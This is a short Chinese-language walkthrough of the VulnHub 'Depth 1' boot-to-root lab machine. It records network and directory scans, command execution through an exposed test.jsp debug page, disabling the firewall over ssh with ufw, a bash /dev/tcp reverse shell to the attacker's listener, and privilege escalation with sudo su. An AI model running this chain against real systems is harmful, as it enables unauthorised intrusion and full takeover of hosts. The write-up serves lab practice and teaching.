DepthB2R靶机

信息收集：

靶机地址：https://www.vulnhub.com/entry/depth-1,213/

（1）ip扫描

nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:83:A9:58'

（2）端口扫描

nmap -p- -A 192.168.254.137

（3）目录扫描发现没东西

dirsearch -u http://192.168.254.137

（4）访问8080端口

（5）点击 manager webapp 会跳转一个登录框

（6）尝试了一下弱口令，爆破等，没有登录进去，目录扫描8080端口看看

dirsearch -u http://192.168.254.137:8080

（7）访问test.jsp，是一个debug页面

（8）输入ls -la /home，发现root 和bill用户

（9）可以执行命令，但是尝试反弹shell失败，看一下进程，发现有ssh，之前没有扫到，可能是因为防火墙

ps aux

（10）查看/etc下，防火墙是存在的

ls -la /etc

（11）尝试关闭

ssh bill@localhost sudo ufw disable

getshell：

（1）再次尝试反弹shell，kali开启监听

nc -lvnp 4444

（2）执行命令，成功反弹shell

ssh bill@localhost bash -i >& /dev/tcp/192.168.254.129/4444 0>&1

提权：

（1）sudo -l，查看当前权限，显示all

（2）sudo su 提权成功